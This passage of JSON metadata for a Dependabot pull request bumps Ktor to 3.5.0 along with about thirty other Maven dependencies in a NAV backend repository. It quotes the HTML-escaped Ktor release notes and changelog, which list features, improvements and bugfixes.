describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eKTOR-9483\u003c/a\u003e Curl: backpressure implementation is never used\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-netty's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.5.0\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/...\n\n_Description has been truncated_","html_url":"https://github.com/navikt/aap-postmottak-backend/pull/718","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/navikt%2Faap-postmottak-backend/issues/718","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/718/packages"}},{"old_version":"42.7.10","new_version":"42.7.11","update_type":"patch","path":null,"pr_created_at":"2026-06-01T12:57:40.000Z","version_change":"42.7.10 → 42.7.11","issue":{"uuid":"4563268424","node_id":"PR_kwDOLCLkK87hXpz6","number":91,"state":"closed","title":"Bump the minor-and-patch group across 1 directory with 34 updates","user":"dependabot[bot]","labels":["dependencies","java"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-06-05T05:24:57.000Z","author_association":null,"state_reason":null,"created_at":"2026-06-01T12:57:40.000Z","updated_at":"2026-06-05T05:24:58.000Z","time_to_close":318437,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","group_name":"minor-and-patch","update_count":34,"packages":[{"name":"io.ktor:ktor-server-core-jvm","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-metrics-micrometer","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-call-logging-jvm","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-netty-jvm","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-config-yaml","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-auth","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-auth-jwt","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-content-negotiation","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-status-pages-jvm","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-serialization-kotlinx-json","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-logging-jvm","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-encoding","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-test-host","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-core","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-auth","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-content-negotiation","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-okhttp-jvm","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-serialization-kotlinx-json-jvm","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-mock","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"no.nav.security:token-validation-ktor-v3","old_version":"6.0.5","new_version":"6.0.8","repository_url":"https://github.com/navikt/token-support"},{"name":"io.micrometer:micrometer-registry-prometheus","old_version":"1.16.4","new_version":"1.16.5","repository_url":"https://github.com/micrometer-metrics/micrometer"},{"name":"ch.qos.logback:logback-classic","old_version":"1.5.32","new_version":"1.5.33","repository_url":"https://github.com/qos-ch/logback"},{"name":"org.postgresql:postgresql","old_version":"42.7.10","new_version":"42.7.11","repository_url":"https://github.com/pgjdbc/pgjdbc"},{"name":"org.flywaydb:flyway-core","old_version":"12.3.0","new_version":"12.7.0"},{"name":"org.flywaydb:flyway-database-postgresql","old_version":"12.3.0","new_version":"12.7.0"},{"name":"org.jetbrains.exposed:exposed-core","old_version":"1.2.0","new_version":"1.3.0","repository_url":"https://github.com/JetBrains/Exposed"},{"name":"org.jetbrains.exposed:exposed-dao","old_version":"1.2.0","new_version":"1.3.0","repository_url":"https://github.com/JetBrains/Exposed"},{"name":"org.jetbrains.exposed:exposed-jdbc","old_version":"1.2.0","new_version":"1.3.0","repository_url":"https://github.com/JetBrains/Exposed"},{"name":"org.jetbrains.exposed:exposed-kotlin-datetime","old_version":"1.2.0","new_version":"1.3.0","repository_url":"https://github.com/JetBrains/Exposed"},{"name":"org.jetbrains.kotlin:kotlin-test-junit","old_version":"2.3.20","new_version":"2.3.21","repository_url":"https://github.com/JetBrains/kotlin"},{"name":"jvm","old_version":"2.3.20","new_version":"2.3.21","repository_url":"https://github.com/JetBrains/kotlin"},{"name":"io.ktor.plugin","old_version":"3.4.2","new_version":"3.5.0"},{"name":"org.jetbrains.kotlin.plugin.serialization","old_version":"2.3.20","new_version":"2.3.21","repository_url":"https://github.com/JetBrains/kotlin"},{"name":"gradle-wrapper","old_version":"9.4.1","new_version":"9.5.1","repository_url":"https://github.com/gradle/gradle"}],"path":null,"ecosystem":"maven"},"body":"Bumps the minor-and-patch group with 34 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [io.ktor:ktor-server-core-jvm](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-server-metrics-micrometer](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-server-call-logging-jvm](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-server-netty-jvm](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-server-config-yaml](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-server-auth](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-server-auth-jwt](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-server-content-negotiation](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-server-status-pages-jvm](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-serialization-kotlinx-json](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-client-logging-jvm](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-client-encoding](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-server-test-host](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-client-core](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-client-auth](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-client-content-negotiation](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-client-okhttp-jvm](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-serialization-kotlinx-json-jvm](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-client-mock](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [no.nav.security:token-validation-ktor-v3](https://github.com/navikt/token-support) | `6.0.5` | `6.0.8` |\n| [io.micrometer:micrometer-registry-prometheus](https://github.com/micrometer-metrics/micrometer) | `1.16.4` | `1.16.5` |\n| [ch.qos.logback:logback-classic](https://github.com/qos-ch/logback) | `1.5.32` | `1.5.33` |\n| [org.postgresql:postgresql](https://github.com/pgjdbc/pgjdbc) | `42.7.10` | `42.7.11` |\n| org.flywaydb:flyway-core | `12.3.0` | `12.7.0` |\n| org.flywaydb:flyway-database-postgresql | `12.3.0` | `12.7.0` |\n| [org.jetbrains.exposed:exposed-core](https://github.com/JetBrains/Exposed) | `1.2.0` | `1.3.0` |\n| [org.jetbrains.exposed:exposed-dao](https://github.com/JetBrains/Exposed) | `1.2.0` | `1.3.0` |\n| [org.jetbrains.exposed:exposed-jdbc](https://github.com/JetBrains/Exposed) | `1.2.0` | `1.3.0` |\n| [org.jetbrains.exposed:exposed-kotlin-datetime](https://github.com/JetBrains/Exposed) | `1.2.0` | `1.3.0` |\n| [org.jetbrains.kotlin:kotlin-test-junit](https://github.com/JetBrains/kotlin) | `2.3.20` | `2.3.21` |\n| [jvm](https://github.com/JetBrains/kotlin) | `2.3.20` | `2.3.21` |\n| io.ktor.plugin | `3.4.2` | `3.5.0` |\n| [org.jetbrains.kotlin.plugin.serialization](https://github.com/JetBrains/kotlin) | `2.3.20` | `2.3.21` |\n| [gradle-wrapper](https://github.com/gradle/gradle) | `9.4.1` | `9.5.1` |\n\n\nUpdates `io.ktor:ktor-server-core-jvm` from 3.4.2 to 3.5.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-core-jvm's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.5.0\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on 